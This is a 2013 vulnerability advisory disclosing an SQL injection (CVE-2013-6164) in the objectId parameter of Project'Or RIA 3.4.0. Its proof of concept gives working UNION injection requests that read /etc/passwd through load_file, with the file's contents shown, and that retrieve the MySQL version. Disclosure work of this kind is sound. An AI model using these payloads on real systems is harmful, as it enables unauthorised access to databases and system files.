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INTERNET SECURITY AUDITORS ALERT 2013-017
- Original release date: July 26th, 2013
- Last revised:July 26th, 2013
- Discovered by: Vicente Aguilera Diaz
- Severity: 6.8/10 (CVSSv2 Base Scored)
- CVE-ID: CVE-2013-6164
=============================================
I. VULNERABILITY
-------------------------
SQL Injection vulnerability in "Project'Or RIA" allow arbitrary access
to the database and the file system.
II. BACKGROUND
-------------------------
Project'Or RIA is an open source Project Management Software, trying to
gather in a single tool every functionality needed to organize your
projects.
The objective is to keep it simple, easy to use on a day to day
activity, while covering most of the project management functionalities.
III. DESCRIPTION
-------------------------
Has been detected a SQL Injection vulnerability in the "Affectations"
functionality of this application. The affected resource and parameter
are the
following:
Resource:
/view/objectDetail.php
Parameter:
objectId
This vulnerability allows the execution of arbitrary SQL code against
the database, and arbitrary access to the file system.
IV. PROOF OF CONCEPT
-------------------------
When a user access to the "Environmental parameters / Affectations"
functionality, is generated a output with a list of resources. If a user
access to the de
tails of a resource, is generated a request as follows:
POST /view/objectDetail.php?destinationWidth=1017 HTTP/1.1
Host: <projectorria-server>
objectClass=Affectation&objectId=000042&listIdFilter=&listFilterClause=
where the "objectId" value contains the resource identifier.
A malicious user can inject arbitrary SQL code in the <objecId>
parameters of this request. For example:
1. Accessing the file system
1.1 /etc/passwd
Modified parameter:
<objectId>
Value:
99942+union+(select+load_file('/etc/passwd'),null,null,null,null,null,null,null,null,null,null,null+from+dual)
Request:
POST /view/objectDetail.php?destinationWidth=1017 HTTP/1.1
Host: <projectorria-server>
objectClass=Affectation&objectId=99942+union+(select+load_file('/etc/passwd'),null,null,null,null,null,null,null,null,null,null,null+from+dual)
&listIdFilter=&listFilterClause=
Response:
HTTP/1.1 200 OK
...
<span dojoType="dijit.form.TextBox" type="text" id="id" name="id"
class="display"readonly tabindex="-1" style="width: 75px;"
value="root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
whoopsie:x:102:104::/nonexistent:/bin/false
landscape:x:103:105::/var/lib/landscape:/bin/false
messagebus:x:104:108::/var/run/dbus:/bin/false
ntpd:x:105:111::/var/run/openntpd:/bin/false
postfix:x:106:113::/var/spool/postfix:/bin/false
babynus:x:1000:1000::/home/babynus:/bin/bash
bind:x:107:115::/var/cache/bind:/bin/false
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
zend:x:109:116::/usr/local/zend/gui/lighttpd/:/bin/false
mysql:x:110:117:MySQL Server,,,:/nonexistent:/bin/false
nagios:x:111:118::/var/lib/nagios:/bin/false
smmta:x:112:119:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false
smmsp:x:113:120:Mail Submission Program,,,:/var/lib/sendmail:/bin/false
postgres:x:114:121:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
" ></span>
...
Obtained info (/etc/passw):
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
whoopsie:x:102:104::/nonexistent:/bin/false
landscape:x:103:105::/var/lib/landscape:/bin/false
messagebus:x:104:108::/var/run/dbus:/bin/false
ntpd:x:105:111::/var/run/openntpd:/bin/false
postfix:x:106:113::/var/spool/postfix:/bin/false
babynus:x:1000:1000::/home/babynus:/bin/bash
bind:x:107:115::/var/cache/bind:/bin/false
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
zend:x:109:116::/usr/local/zend/gui/lighttpd/:/bin/false
mysql:x:110:117:MySQL Server,,,:/nonexistent:/bin/false
nagios:x:111:118::/var/lib/nagios:/bin/false
smmta:x:112:119:Mail Transfer Agent,,,:/var/lib/sendmail:/bin/false
smmsp:x:113:120:Mail Submission Program,,,:/var/lib/sendmail:/bin/false
postgres:x:114:121:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
2. Obtaining database private information
2.1 Obtaining TABLE_NAME from INFORMATION_sCHEMA.TABLES
Modified parameter:
<objectId>
Value:
99942+union+(select+@@version,null,null,null,null,null,null,null,null,null,null,null+from+dual)
Request:
POST /view/objectDetail.php?destinationWidth=1017 HTTP/1.1
Host: <projectorria-server>
objectClass=Affectation&objectId=99942+union+(select+@@version,null,null,null,null,null,null,null,null,null,null,null+from+dual)
&listIdFilter=&listFilterClause=
Response:
HTTP/1.1 200 OK
<span dojoType="dijit.form.TextBox" type="text" id="id" name="id"
class="display"readonly tabindex="-1" style="width: 75px;"value="5.5.24-
0ubuntu0.12.04.1" >
Obtained info (MySQL Version):
5.5.24-0ubuntu0.12.04.1
V. BUSINESS IMPACT
-------------------------
An attacker can execute arbitrary SQL code and gain access to private
information stored in the database or the file system.
VI. SYSTEMS AFFECTED
-------------------------
Tested in Project'Or RIA v3.4.0
VII. SOLUTION
-------------------------
Pending.
VIII. REFERENCES
-------------------------
http://projectorria.org
http://www.isecauditors.com
IX. CREDITS
-------------------------
This vulnerability has been discovered by Vicente Aguilera Diaz
(vaguilera (at) isecauditors (dot) com).
X. REVISION HISTORY
-------------------------
July26, 2013: Initial release
XI. DISCLOSURE TIMELINE
-------------------------
July25, 2013: Vulnerability acquired by Internet Security Auditors
(www.isecauditors.com).
September 26, 2013: Sent to project support.
November03, 2013: New release and disclosure.
XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. Internet
Security
Auditors accepts no responsibility for any damage caused by the use or
misuse of this information.
XIII. ABOUT
-------------------------
Internet Security Auditors is a Spain based leader in web application
testing, network security, penetration testing, security compliance
implementation and
assessing. Our clients include some of the largest companies in areas
such as finance, telecommunications, insurance, ITC, etc. We are vendor
independent
provider with a deep expertise since 2001. Our efforts in R&D include
vulnerability research, open security project collaboration and
whitepapers,
presentations and security events participation and promotion. For
further information regarding our security services, contact us.
XIV. FOLLOW US
-------------------------
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http://www.linkedin.com/company/internet-security-auditors
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